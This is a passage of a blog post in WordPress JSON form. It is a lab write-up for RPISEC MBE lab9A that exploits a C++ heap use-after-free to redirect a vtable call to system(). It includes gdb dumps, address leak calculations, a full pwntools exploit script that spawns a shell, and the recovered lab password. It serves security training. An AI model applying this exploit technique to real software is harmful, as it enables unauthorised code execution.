0x00000018\r\n0x804c0a0:      0x0804c054      0x00000014      0x00000000      0x0804c0b8\r\n0x804c0b0:      0x00000000      0x00020f51      0x00000000      0x00000000\r\n...\r\n<\/pre>\n
The value 0x0804c054<\/code> has been successfully written to the vtable of the second, deallocated instance. Since all involved addresses are 4 byte aligned the value has been stored at the first index.<\/p>\n
Now let's set up a breakpoint at the system<\/code> function and see if the function is triggered:<\/p>\n
\r\ngdb-peda$ b *system\r\nBreakpoint 1 at 0xb7d59190: file ..\/sysdeps\/posix\/system.c, line 178.\r\ngdb-peda$ c\r\nContinuing.\r\n3\r\nWhich lockbox?: 1\r\nItem value: 0\r\n[----------------------------------registers-----------------------------------]\r\nEAX: 0xb7d59190 (<__libc_system>:       push   ebx)\r\nEBX: 0xb7ec3000 --> 0x1a9da8\r\nECX: 0x0\r\nEDX: 0x804c0a0 --> 0x804c054 --> 0x804c060 --> 0xb7d59190 (<__libc_system>:     push   ebx)\r\nESI: 0x0\r\nEDI: 0x0\r\nEBP: 0xbffff6c8 --> 0xbffff6f8 --> 0x0\r\nESP: 0xbffff69c --> 0x804933a (<_Z12do_find_itemPP7HashSetIi8hash_numE+190>:    mov    DWORD PTR [ebp-0xc],eax)\r\nEIP: 0xb7d59190 (<__libc_system>:       push   ebx)\r\nEFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)\r\n[-------------------------------------code-------------------------------------]\r\n   0xb7d59183 <cancel_handler+227>:     ret\r\n   0xb7d59184:  lea    esi,[esi+0x0]\r\n   0xb7d5918a:  lea    edi,[edi+0x0]\r\n=> 0xb7d59190 <__libc_system>:  push   ebx\r\n   0xb7d59191 <__libc_system+1>:        sub    esp,0x8\r\n   0xb7d59194 <__libc_system+4>:        mov    eax,DWORD PTR [esp+0x10]\r\n   0xb7d59198 <__libc_system+8>:        call   0xb7e3f94b <__x86.get_pc_thunk.bx>\r\n   0xb7d5919d <__libc_system+13>:       add    ebx,0x169e63\r\n[------------------------------------stack-------------------------------------]\r\n0000| 0xbffff69c --> 0x804933a (<_Z12do_find_itemPP7HashSetIi8hash_numE+190>:   mov    DWORD PTR [ebp-0xc],eax)\r\n0004| 0xbffff6a0 --> 0x804c0a0 --> 0x804c054 --> 0x804c060 --> 0xb7d59190 (<__libc_system>:     push   ebx)\r\n0008| 0xbffff6a4 --> 0x0\r\n0012| 0xbffff6a8 --> 0xbffff6f8 --> 0x0\r\n0016| 0xbffff6ac --> 0xb7f693f5 (<_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc+53>:  add    esp,0x10)\r\n0020| 0xbffff6b0 --> 0x804b0c0 --> 0xb7fc366c --> 0xb7f68000 (<_ZNSoD1Ev>:      push   ebx)\r\n0024| 0xbffff6b4 --> 0x1\r\n0028| 0xbffff6b8 --> 0x0\r\n[------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, __libc_system (line=0x804c0a0 "T\\300\004\\b\024") at ..\/sysdeps\/posix\/system.c:178\r\n178     ..\/sysdeps\/posix\/system.c: No such file or directory.\r\ngdb-peda$\r\n<\/pre>\n
Great! The function system<\/code> has been called. But wait. What is the second item on the stack? The function expects the one and only argument here: the command to be executed. The value 0x804c0a0<\/code> is stored there. We know this value. It is the pointer to our hashset_int<\/code> instance. In this case it is the this pointer<\/i> which is passed as the first argument to any class method. Otherwise the method could not determine on which object the method should be applied. The this pointer is implicitly added to any method by the compiler.<\/p>\n
A method like this:<\/p>\n
\r\nHashSet<T, HashFunc>::find(T val)\r\n<\/pre>\n
Actually looks like this:<\/p>\n
\r\nHashSet<T, HashFunc>::find(HashSet<T, HashFunc> *this, T val)\r\n<\/pre>\n
What does this mean for our exploit? We can call the function system<\/code> but we cannot fully control the first argument being passed which we would like to set to the string \/bin\/sh<\/code>.<\/p>\n
As for now the first argument points to the second, deallocated instance which begins with the address of the fake vtable we set up. We cannot change this first 4 bytes because otherwise our vtable would not be used. But we can change the following bytes. But how do us help this? Here comes in a little trick.<\/p>\n
We actually want to execute \/bin\/sh<\/code> simply like this:<\/p>\n
\r\nlab9A@warzone:\/levels\/lab09$ \/bin\/sh\r\n$ id\r\nuid=1034(lab9A) gid=1035(lab9A) groups=1035(lab9A),1001(gameuser)\r\n<\/pre>\n
But we could also do this:<\/p>\n
\r\nlab9A@warzone:\/levels\/lab09$ JUNK||\/bin\/sh\r\nJUNK: command not found\r\n$ id\r\nuid=1034(lab9A) gid=1035(lab9A) groups=1035(lab9A),1001(gameuser)\r\n<\/pre>\n
JUNK<\/code> is not a valid command. But since we added an OR (||<\/code>) we get a shell nonetheless.<\/p>\n
Since we are a little bit limited which value can be stored at which index in the array because of the modulo operation in add<\/code> we have find appropriate values to create a string which suffices our needs. I ended up with the following:<\/p>\n
\r\nset_data[0] = 0x804c054   <-- address of fake vtable\r\nset_data[1] = \"aaaa\"      <-- value as DWORD in little-endian: 0x61616161 % 4 = 1\r\nset_data[2] = \"2 ||\"      <-- value as DWORD in little-endian: 0x7c7c2032 % 4 = 2\r\nset_data[3] = \"sh\\x00\"    <-- value as DWORD in little-endian: 0x00006873 % 4 = 3\r\n<\/pre>\n
This way the final string being passed as the first argument to system<\/code> is \"\\x54\\xc0\\x04\\08aaaa2 || sh\"<\/code>.<\/p>\n
There is only one thing left to do before we can finish our exploit: we have to leak the libc base address as well as the heap's address. As you may have noticed this is not really a problem because the addresses are on the heap after we created and deleted two instances and can be printed using the function do_find_item<\/code>:<\/p>\n
\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab09\/lab9A\r\n+----------- clark's improved item storage -----------+\r\n| [ -- Now using HashSets for insta-access to items!  |\r\n| 1. Open a lockbox                                   |\r\n| 2. Add an item to a lockbox                         |\r\n| 3. Get an item from a lockbox                       |\r\n| 4. Destroy your lockbox and items in it             |\r\n| 5. Exit                                             |\r\n+-----------------------------------------------------+\r\nEnter choice: 1\r\nWhich lockbox do you want?: 0\r\nHow many items will you store?: 20\r\n...\r\nEnter choice: 1\r\nWhich lockbox do you want?: 1\r\nHow many items will you store?: 20\r\n...\r\nEnter choice: 4\r\nWhich set?: 1\r\n...\r\nEnter choice: 4\r\nWhich set?: 0\r\n...\r\nEnter choice: 1\r\nWhich lockbox do you want?: 0\r\nHow many items will you store?: 4\r\n...\r\nEnter choice: 1\r\nWhich lockbox do you want?: 2\r\nHow many items will you store?: 4\r\n...\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x0804c0a0\r\n0x804c010:      0x0804c048      0x00000000      0x00000000      0x00000000\r\n0x804c020:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x08049aa8      0x00000004      0x00000000      0x0804c0a0\r\n0x804c040:      0x00000000      0x00000019      0x08049aa8      0x00000004\r\n0x804c050:      0x00000000      0x0804c060      0x00000000      0x00000019\r\n0x804c060:      0xb7ec3450      0xb7ec3450      0x00000000      0x00000000\r\n0x804c070:      0x00000000      0x00000029      0xb7ec3450      0xb7ec3450\r\n0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c090:      0x00000000      0x00000000      0x00000028      0x00000018\r\n0x804c0a0:      0x00000000      0x00000014      0x00000000      0x0804c0b8\r\n0x804c0b0:      0x00000000      0x00020f51      0x00000000      0x00000000\r\n...\r\n<\/pre>\n
At 0x804c060<\/code> and 0x804c060<\/code> a libc address is stored: 0xb7ec3450<\/code>. This is the forward (FD) and backward pointer (BK) of the deallocated chunk. Because this chunk is surrounded by allocated memory it cannot be coalesced and is stored in a bin. Since it is the first element of this bin, the forward and backward pointer is referencing the main_arena within the libc. We can use this address to calculate the address of system<\/code>:<\/p>\n
\r\ngdb-peda$ c\r\nContinuing.\r\n3\r\nWhich lockbox?: 2\r\nItem value: 0\r\nItem Found\r\nlockbox[0] = -1209256880\r\n...\r\n^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ p system\r\n$1 = {<text variable, no debug info>} 0xb7d59190 <__libc_system>\r\ngdb-peda$ ! rax2 -1209256880\r\n0xffffffffb7ec3450\r\ngdb-peda$ p 0xb7ec3450 - 0xb7d59190\r\n$2 = 0x16a2c0\r\n<\/pre>\n
In the heap output above there is also a heap address which we can leak at 0x804c0ac<\/code>:<\/p>\n
\r\nEnter choice: 3\r\nWhich lockbox?: 0\r\nItem value: 3\r\nItem Found\r\nlockbox[3] = 134529208\r\n...\r\ngdb-peda$ ! rax2 134529208\r\n0x804c0b8\r\ngdb-peda$ i proc mappings\r\nprocess 31455\r\nMapped address spaces:\r\n\r\n        Start Addr   End Addr       Size     Offset objfile\r\n         0x8048000  0x804a000     0x2000        0x0 \/levels\/lab09\/lab9A\r\n         0x804a000  0x804b000     0x1000     0x1000 \/levels\/lab09\/lab9A\r\n         0x804b000  0x804c000     0x1000     0x2000 \/levels\/lab09\/lab9A\r\n         0x804c000  0x806d000    0x21000        0x0 [heap]\r\n...\r\ngdb-peda$ p 0x804c0b8 - 0x804c000\r\n$3 = 0xb8\r\n<\/pre>\n
At last we can write the final exploit-script:<\/p>\n
\r\nlab9A@warzone:\/levels\/lab09$ cat \/tmp\/exploit_lab9A.py\r\nfrom pwn import *\r\n\r\n\r\ndef open(p, idx, size):\r\n  p.sendline("1")\r\n  p.sendline(str(idx))\r\n  p.sendline(str(size))\r\n  p.recv(1000)\r\n\r\n\r\ndef delete(p, idx):\r\n  p.sendline("4")\r\n  p.sendline(str(idx))\r\n  p.recv(1000)\r\n\r\n\r\ndef add(p, idx, val):\r\n  p.sendline("2")\r\n  p.sendline(str(idx))\r\n  p.sendline(str(val))\r\n  p.recv(1000)\r\n\r\n\r\ndef get(p, idx, val):\r\n  p.sendline("3")\r\n  p.sendline(str(idx))\r\n  p.sendline(str(val))\r\n  p.recvuntil("lockbox["+str(val)+"] = ")\r\n  ret = p.recv(1000)\r\n  ret = ret[0:ret.index("\\n")]\r\n  ret = int(ret, 10)\r\n  if (ret < 0): ret = -((ret-1)^0xffffffff) # value might be negative in two's complement\r\n  return ret\r\n\r\n\r\np = remote("localhost", 9941)\r\np.recv(1000)\r\n\r\nopen(p, 0, 20)\r\nopen(p, 1, 20)\r\ndelete(p, 1)\r\ndelete(p, 0)\r\nopen(p, 0, 4)\r\nopen(p, 2, 4)\r\n\r\n# leak libc\r\nleak_libc = get(p, 2, 0)\r\nlog.success("leak_libc: " + hex(leak_libc))\r\n\r\n# leak heap\r\nleak_heap = get(p, 0, 3)\r\nlog.success("leak_heap: " + hex(leak_heap)) # leak heap_base + 0xb8\r\n\r\n# set up fake vtable\r\nadd(p, 2, leak_libc - 0x16a2c0) # leak_libc is at offset 0x16a2c0 from system\r\n\r\n# overwrite vtable with fake vtable\r\nadd(p, 0, leak_heap - 0x58 - 0xc)\r\n\r\n# append string to argument for system\r\nadd(p, 0, 0x61616161) # "aaaa"\r\nadd(p, 0, 0x7c7c2032) # "2 ||"\r\nadd(p, 0, 0x00006873) # "sh"\r\n\r\n# invoke find-method, trigger system call\r\np.sendline("3\\n1\\n0")\r\np.recvuntil("Item value: ")\r\n\r\np.interactive()\r\n<\/pre>\n
Running the script:<\/p>\n
\r\nlab9A@warzone:\/levels\/lab09$ python \/tmp\/exploit_lab9A.py\r\n[+] Opening connection to localhost on port 9941: Done\r\n[+] leak_libc: 0xb766b450\r\n[+] leak_heap: 0x8f4e0b8\r\n[*] Switching to interactive mode\r\n$ id\r\nuid=1035(lab9end) gid=1036(lab9end) groups=1036(lab9end),1001(gameuser)\r\n$ cat \/home\/lab9end\/.pass\r\n1_d1dNt_3v3n_n33d_4_Hilti_DD350\r\n<\/pre>\n
Done! The final password for this lab is 1_d1dNt_3v3n_n33d_4_Hilti_DD350<\/code>.<\/p>\n","protected":false},"excerpt":{"rendered":"
In the last lab we focused on Misc and Stack Cookies. In this next to last lab some characteristics when dealing with C++ are introduced. The lab contains only two levels: –> lab9C –> lab9A<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,7],"tags":[8,9,13,18,10,11,12,14],"class_list":["post-435","post","type-post","status-publish","format-standard","hentry","category-rpisec-mbe","category-writeup","tag-assembly","tag-binary","tag-elf","tag-gdb","tag-pwn","tag-r2","tag-reversing","tag-x86"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/435"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=435"}],"version-history":[{"count":4,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/435\/revisions"}],"predecessor-version":[{"id":439,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/435\/revisions\/439"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=435"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=435"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=435"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}